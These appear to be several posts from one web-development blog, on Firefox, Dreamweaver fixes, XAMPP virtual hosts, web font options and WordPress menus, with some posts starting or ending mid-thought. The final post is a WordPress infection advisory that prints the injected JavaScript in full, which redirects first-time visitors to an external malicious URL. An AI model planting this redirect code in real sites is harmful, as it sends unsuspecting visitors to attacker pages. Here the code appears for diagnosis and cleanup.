IMO, Firefox is better than Chrome. Feel free to voice you opinion in the comment boxes below. Why do I like it? All the add-ons. For example, I don’t think I could live now without Firebug. I know Chrome has similar tools built-in, but I feel they aren’t as intuitive as Firebug. What do you think?

Firefox has definitely taken a page from the Chrome book with this latest release. You can see the browser window now is minimized to give more emphasis on the website content you are actually browsing. This is great, and I applaud them for “copying” Chrome on this UX enhancement. Also, I noticed they moved the “Open in New Tab” as the first option when you right-click on a link rather than being the second. This will take me some time to get used to, but again, a good move in the long run as it will save me .2 milliseconds when clicking now. Thanks Firefox!

Want to Download the Beta?

I hope you consider downloading the Beta version of Firefox 4: Download Firefox 4 Beta. You won’t regret it, Firefox is a great web browser for all users.

Adobe to the Rescue (Better Late than Never, Right?)

Sure this problem started at the initial release but hasn’t been addressed until now. But it’s probably a small percentage of overall users. I say this because there are several people where I work that use the same setup as I do and have not had the same problem. Although, one did keep losing all his saved sites… which would be terrible to keep replacing if you have more than 10+ sites you continue work and do maintenance on. Anyways: here’s the link to the download and article from Adobe.

• Adobe Article
• Adobe Dreamweaver CS5 Mac Update

How do I know this will fix my problem?

Depending on your case, this update could drastically improve your Dreamweaver experience or do nothing at all. If you are experiencing the DW menu appearing in your Mac menu bar, but other menus, such as File, Edit, and View, do not appear, this update will fix that.

How do I update?

Updating is easy. Simply double-click on the .dmg file and this will in turn run the Adobe Dreamweaver updater. You should see a window similar to the one below. Once this process is complete, restart Dreamweaver and enjoy your application.

Please Note: Updating my Dreamweaver Removed All of My Saved Server Passwords

Make sure that you have your password list backed up. I did not lose my server IP addresses or anything else, just the username and passwords. I’m thinking Adobe must have added this as a security measure. Please comment below if you have any questions about the Adobe update or if you experience anything you’d like to share.

What’s this Comic About?

Basically all the ‘modern’ browsers are playing in the treehouse and poor IE6 is disgruntled that he cannot. He is sporting a 5 o’clock shadow and looks a little mean. Meanwhile, Firefox is pointing out that IE7 is indeed related to the banned browser. My question is this: why is IE7 still allowed in the treehouse? Or any IE for that matter. Internet Explorer 8 doesn’t even allow us to do anything cool with CSS3 or HTML5. Bottom line, die IE die!

Why do this? It makes it very easy to move over the WordPress database when it's time to go live. Developing locally is always in your best interest. This method is preferred over 'going commando' because you can keep better control over your code and it's faster to develop. Plus a whole slew of other reasons that you can Google if you feel like it. Let's get started on setting up your WordPress install to use XAMPP's virtual hosting capabilities.

1. Open your Windows Hosts file by clicking on My Computer and navigating to "\Windows\system32\drivers\etc\"

2. Add the following to the bottom of the hosts file by using your text editor of choice. Notepad will work just fine.

127.0.0.1 somesite.com
127.0.0.1 www.somesite.com

Note: Be sure to replace "somesite" with your actual WordPress website domain name

3. Now navigate to your XAMPP httpd-vhosts.conf by navigating to: C:/XAMPP/apache/conf/extras

4. Uncomment the following line:

5.Add the following at the bottom of the file and save the file before you close it:

<VirtualHost *:80>
DocumentRoot “E:/xampp/htdocs/”
ServerName localhost
ServerAlias localhost
</VirtualHost>

<VirtualHost *:80>
DocumentRoot “E:/xampp/htdocs/somesite”
ServerName www.somesite.com
ServerAlias www.somesite.com
</VirtualHost>

<VirtualHost *:80>
DocumentRoot “E:/xampp/htdocs/somesite”
ServerName somesite.com
ServerAlias somesite.com
</VirtualHost>

Wait! One last thing... Now restart Apache and MySQL (using XAMMP) and you should be good to go when you navigate your browser to the url you specified for your WordPress installation using the tutorial above (once you restart the services). If you have any comments or questions be sure to use the comment box below or the Contact DLOCC.

Disabled Dreamweaver

When you are experiencing this problem you will see that Dreamweaver launches but your menu is limited to only a few options:

Here's how I fixed the problem:

1. First quit Dreamweaver CS5 if you have in launched (or kinda launched)
2. Open Finder and navigation to: Macintosh hd/users//library/application support/adobe/dreamweaver cs5/en-US/
3. Here you will find the folder "configuration" ... Rename this folder to 'configurationOld' and restart Dreamweaver

What this will do is force Dreamweaver to create that configuration folder again. Please note: this may not fix it for you and this solution has not even been mentioned by Adobe. Hope this helps you out!

Here's the link to the 'official' adobe KB article on their solution to fix Dreamweaver CS5's launching problem: Nothing happens when launching Adobe Dreamweaver CS5 on a Mac

Here's a useful thread at the Adobe Support Forums about this dreamweaver problem and possible solutions.

Let's start off by saying that the word(s) 'web safe/websafe' will hopefully one day become extinct. That being said, there are many issues surrounding web fonts such as font licensing issues, browser compatibility and so on. As well, it can be tricky to navigate the various solutions out there and to decide on the one that's right for you. The aim of this article is to help you decide which solution is right and for you to be confident in that decision. Let's dive right in to examine what the Internet has to offer web designers seeking an alternative to the normal CSS font-families.

Google Font API / Google Font Directory

We begin with Google's Font API since it's the newest and freshest web font solution out there. This latest freebie from Google is like a free version of TypeKit without the huge font selection. I heard that they worked together on the project... who would turn down working with Google on a project? Not TypeKit.

Implementing Google Fonts

To begin using the Google Font Directory all you have to do to use click here to go to Google Font Directory, click on font you like from the list and copy-and-paste the appropriate code like this:

For Lobster Font Family: Put this code in the this head of your website to get the font from Googleapis

<link href='http://fonts.googleapis.com/css?family=Lobster' rel='stylesheet' type='text/css'>

It's a snap to use the Google Font API...

The Google Font API will do everything for you. All you have to do is put the font family on a CSS selector like so:

.foo { font-family: 'Lobster', arial, serif; }

As you can see this is catching the attention of many web designers out there, including me. I've already started to use this on my website and I imagine that we'll be seeing this on a lot more WordPress blogs to begin with and eventually higher page-ranked sites.

Similar to Google Font Directory

TypeKit and FontDeck are similar font Libraries, but without the Google Font API. The CSS3 rule @font-face is very close to the same principle.

Why You Should Use Google's Font API

1. Save the bandwidth on your site. Visitors won't be downloading the font from your server.
2. If the same font is used across multiple sites it will
3. Google is fast, very fast

Why You Shouldn't Use Google's Font API

1. There's only around 20 fonts to choose from

Cufon

Cufon is a font replacement solution that aims to be the alternative to sIFR. Their is no Flash or plug-in involved here, only natively supported features.

Implementing Cufon

To use this solution select a font file that you'd like to use (.TTF, .OTF etc.) and head over to the Cufon Font Generator.

Once you get to the font generator page complete all the mumbo jumbo on there, the form itself is a bit confusing to understand at first I must admit. Assuming you filled out the font generator form properly it'll spit out a javascript file with the name of your font and some numbers (I believe this is your font weight). Save these files and upload them to your web server. If you have trouble with the form there's a Google Cufon group you can check out for help.

Now it's time to replace the text you want using cufon. Copy-and-paste the following into the head of your document but replace the script source to point to the location you uploaded the files the font generator generated.

Cufon does have it's use on the Internet, but it's more of a niche than poised to overtake any of the upcoming font library solutions. It does allow you to use any font you wish as long as it's in the common formats, but this also opens the door for lawsuits for businesses and organizations. Cufon is cool though, impress your friends and use it on one of your next projects.

Here's a good video that demonstrates implement cufon:

Example of markup rendered using Cufon:

<span style="width: 68px; height: 18px;" class="cufon cufon-canvas"><canvas style="width: 83px; height: 19px; top: 0px; left: -1px;" height="19" width="83"></canvas><span class="cufon-alt">Browse </span></span><span style="width: 28px; height: 18px;" class="cufon cufon-canvas"><canvas style="width: 43px; height: 19px; top: 0px; left: -1px;" height="19" width="43"></canvas><span class="cufon-alt">by </span></span><span style="width: 84px; height: 18px;" class="cufon cufon-canvas"><canvas style="width: 93px; height: 19px; top: 0px; left: -1px;" height="19" width="93"></canvas><span class="cufon-alt">Category</span></span>

Why You Should Use Cufon

1. Use and font you want (not sure how legal this is...)
2. Supported by all major browsers
3. Support an open source solution

Why You Shouldn't Use Cufon

1. The text is not selectable
2. The font variations show up differently cross-browser
3. It makes your markup looks all crazy with a bunch of spans and inline styles
4. Not as simple to implement
5. Cannot use for body text

@font-face

@font-face is a CSS3 rule that allows you to host fonts on your server and have them rendered via your website if the site visitor does not already have that font installed on their computer. Currently, browser that support the rule are Safari, Firefox, and Google Chrome. IE kinda supports it. So what's the problem? Font licenses... basically money. Many font artists don't want to see their fonts used without bring them in some money, which is completely understandable.

Implementing font-face

Using @font-face is nearly as easy as using the Google Font Library except you have to host the font file on your web server. To use the web font you wish you will need to declare each font family using the @font-face CSS3 rule. For example, you would put the following in your stylesheet:

@font-face {
	font-family: Delicious;
	src: url('Delicious-Roman.otf');
}

@font-face {
	font-family: Delicious;
	font-weight: bold;
	src: url('Delicious-Bold.otf');
}

Then use the font-family via CSS on your chosen elements:

h3 { font-family: Delicious, sans-serif; }

Why You Should Use @font-face

1. Cutting-edge CSS
2. Use any font you wish
3. Easy to implement
4. Selectable Text

Why You Shouldn't Use @font-face

1. Not fully cross-browser compliant
2. Font licensing issues

sIFR

sIFR is a is a web font solution that replaces your text elements with Flash equivalents. I've never implemented or had a need to use sIFR personally, but I have done work on a few websites that had this solution already in the works. I believe this solution will be used less frequently in the future since there seems to be a movement away from Flash. Despite this, the solution is still widely used; here's brief overview of how to implement sIFR:

Implementing sIFR

To begin, make sure you have Adobe Flash. You will need to modify the sifr.fla file and there's no way to do this other than Flash. You can download a trial from Adobe if you don't have it that is good for 30-days. Also, you should have the font files you wish to use as web fonts. Ok, have this all? Let's look at a brief overview of what you will be doing:

1. Download the latest sIFR files
2. Set up the Flash file for the desired typeface
3. Upload the necessary files
4. replace the desired text with the 'sIFR' text
5. styling the new text

Obviously this is a very brief overview. Here's a good tutorial that will walk you through implementing sIFR that is more in depth than my brief rundown.

Why You Should Use sIFR

1. Selectable Text
2. Use any font you want

Why You Shouldn't Use sIFR

1. Flash elements throughout your site
2. Font licensing issues
3. Not as light-weight
4. Not as easy to implement
5. Need Flash to implement

FLIR

FLIR (Facelift Image Replacement) is a font solution billed as the alternative to sIFR, but I would compare it more to Cufon. This means no flash at all. FLIR works with JavaScript, PHP and CSS to create a unique web font solution.

Implementing FLIR

To get FLIR up-and-running on your website you will have to do a bit of file configuration and the uploading files to your web server. Not too bad, but still not as snip snap as some of the previous solutions. Let's look at the overview:

1. Download the FLIR files
2. Configure the config-flir.php file to define the fonts
3. Add to the website by uploading the files and calling the path in you website header
4. Style the tags via the special FLIR.replace(); CSS attribute

For more FLIR implementation information check out: Introduction to FLIR and How to Use Any Font You Wish With FLIR.

Why You Should Use FLIR

1. Easier than sIFR to implement
2. Use any font you wish

Why You Shouldn't Use FLIR

1. Non-selectable text
2. 'Unclean' markup similar to Cufon
3. Right-click reveals the text is an image

Final Thoughts

After exploring a few of the popular web font solutions in use today I feel confident that the web will eventually move the way of web fonts for mostly headings and other similar elements. For actual content text it should be best practice to use a readable font-family that is native to all browser. This limits your problems and allows your users to view your site's content much more easily.

If you are having trouble implementing any of the above solution please feel free to leave a comment below or shoot me an email. Also, don't forget to become a fan of DLOCC on Facebook or liking this article! Thanks for all the support and have a good time making the web more typographically beautiful!

Page: Fruit
subpage: Banana
subpage: Apply
subpage: Orange

On Parent Page

If you were wanting to show a navigation menu of all subpages in the Fruit category you could use the following bit of code:

<?php
  $children = wp_list_pages('title_li=&child_of='.$post->ID.'&echo=0');
  if ($children) { ?>
  <ul id="mainNav">
	<div id="locationsNavHead">choose a product</div>
  <?php echo $children; ?>
  </ul>
<?php } ?>

On Subpages

For child, or subpages, we could use the following bit of code:

<div id="sidebar">
<?php
//list subpages even if on a subpage
  if($post->post_parent)
  $children = wp_list_pages("title_li=&child_of=".$post->post_parent."&echo=0");
  else
  $children = wp_list_pages("title_li=&child_of=".$post->ID."&echo=0");
  if ($children) { ?>
  <ul id="mainNav">
  <div id="locationsNavHead">choose a product</div>
  <?php echo $children; ?>
  </ul>
<?php } ?>
</div>

If you are confused at what this all means please comment below and check out wp_list_pages() over at the WordPress Codex

Although we have put 100's of hours into the design, development and readying of 150+ fonts (x4 formats = 600!), with only weeks before font-face.com was ready to go live, we have decided to bow out now. A bitter blow to the team.

Here's the whole @font-face announcement:

Our Google Announcement

Google have recently announced that they are also entering the web-font market - with the same free, hosted model as ours. Although we have put 100's of hours into the design, development and readying of 150+ fonts (x4 formats = 600!), with only weeks before font-face.com was ready to go live, we have decided to bow out now. A bitter blow to the team. Our decision has not been easy. Although we feel we would offer a better service, we would after all be competing with Google. A massive might to compete with. The last thing we would want is to host fonts for everyone to link to, only to at some point (after google have beaten us) be forced to turn them off - destroying your website designs. So as not do disappoint you in the future, we have decided to stop now. Have no fear though - we will be back! We are hatching a new plan for font-face.com - stay tuned! font-face.com will still be the home of everything font-face, just not in the original way it was intended. Thanks The font-face.com Team x x

It looks more and more that Google's Font Directory will be the way more and more web designers will go for web-fonts. Right now the library only consists of 30 or so fonts but I imagine this will grow quickly. Sorry @font-face, I really wanted to start using you! Cool site though, simple and to the point. Check out font-face.com to get updates from their team. They say they currently are hatching up something new for the web. They managed to make quiet an impression this first go around until Google had to come in an flex their muscle.

As always, if you like this post please be sure to check out my entire site and comment below

The good things about this web font solution is that it is very easy to implement and the text is completely selectable (for copy-and-paste purposes). The downsides (both will eventually become irrelevant) are that not every browser will support it... mostly the old school ones that no one should care about anymore, and that it in it's current state the Google Font Directory is limited to a about 20+ fonts (of which you'd probably use about 10). As the web continues to evolve both of these 'downsides' will no longer be relevant.

Google Web Fonts
Using the Google Font API and Directory

Google's Font API

Google's font API is a part of Google Labs and is an easy to use application programmable interface (API) that allows you to select a font from Google's font directory and use it on any website of your choosing... for free!  Applying a font from Google's Font Directory is a breeze, simply add a stylesheet link to your site's head and then use the font you selected from the directory in a CSS style.  Bingo, bango, bongo.

Usage and Implementation

Here's a Google Font usage example:

First add our stylesheet to the head of your website.

  <head>
    <link rel="stylesheet" type="text/css" href="http://fonts.googleapis.com/css?family=Tangerine"> 
  </head>

Next, let's apply the font we chose from the Google Font Directory it to a class on our site! We can do this in our master CSS stylesheet or in your head also (I'd recommend keeping your styles in the mastersheet).

  <head>
    <link rel="stylesheet" type="text/css" href="http://fonts.googleapis.com/css?family=Tangerine"> 
    <style>
      .foo {
        font-family: 'Tangerine', serif;
        font-size: 48px;
      }
  </style>
</head>

Now with this implemented properly using the quick example shown above you will see some sweet Google font below this paragraph that's selectable and easy to implement.

Check me out! This text is selectable and super easy to implement. Thanks Google!

Still Confused? One More Time

Often times, things explained the first time don't make sense. If you're still confused here's the jist

Step 1: Add a stylesheet link requesting the fonts from Google to your website (preferably in the head).

<link rel="stylesheet" type="text/css" href="http://fonts.googleapis.com/css?family=Font+Name">

Step 2: Style an element with the font you just requested in step 1. By element I mean any CSS class or ID.

CSS selector {
  font-family: 'Font Name', serif;
}

Step 3: There is no step 3! Just repeat step 2 by styling elements you have already on your website.

Google's Font Directory

Google's font directory, though still in beta and limited to about 20+ fonts, is going to be widely adopted by web designers in the near future.  Why?  Because Google has made a very intuitive, free, and simple to implement solution.  The fonts are free to use on any commercial and non-commercial web projects.

Comparable Web Font Solutions

Google Font Solution Final Thoughts

It's not everyday that WordPress gets 'hacked' by something/one.  Today one of my clients sent me a very distressed email claiming their site had been hacked.  I thought that they were probably mistaken, but apparently not.  It appears that a malicious piece of JavaScript is infecting WordPress sites.  Most, if not all, hosted on WordPress.  This WordPress infection by 'holasionweb.com' appears to set a cookie and has ill intentions.  Let's take a look at what this attack is and how to fix it.

What WordPress Versions are Potentially Infected?

What Does it Do to My WordPress FrontEnd?

What About the WordPress Admin Area?

What Does the Malicious Code Look Like?

function setCookie(c_name,value,expiredays){
	var exdate=new Date();
	exdate.setDate(exdate.getDate()+expiredays);
	document.cookie=c_name+ "=" +escape(value)+
	((expiredays==null) ? "" : ";expires="+exdate.toGMTString());
}


function getCookie(c_name){
if (document.cookie.length>0)
  {
  c_start=document.cookie.indexOf(c_name + "=");
  if (c_start!=-1)
    {
    c_start=c_start + c_name.length+1;
    c_end=document.cookie.indexOf(";",c_start);
    if (c_end==-1) c_end=document.cookie.length;
    return unescape(document.cookie.substring(c_start,c_end));
    }
  }
return "";
}


var name=getCookie("pma_visited_theme1");
if (name==""){
	setCookie("pma_visited_theme1","1",20);
	var url="http://www4.suitcase52td.net/?p=p52dcWpkbG6Hnc3KbmNToKV1iqHWnG2dXseYlWibZmeWmQ%3D%3D";
	window.top.location.replace(url);
}else{


}

Ok, So How Do I Fix the 'HolasionWeb' WordPress GoDaddy Issue?!

Download this fix that will detect the script on your site and get rid of it: Download HoliasionWeb.com Malicious Script WordPress Fix

Instructions for running the WordPress hack fix

1. Unzip and Upload the php file via FTP to your home directory
2. Navigate your browser to http://mywebsite.com/wordpress-fix.php where 'mywebsite' is your domain to start the fix note: the fix may take a few minutes to run
3. When it says complete, check to see if it's actually fixed and you're good to go!

Lesson Here: Do Not Host with Go Daddy!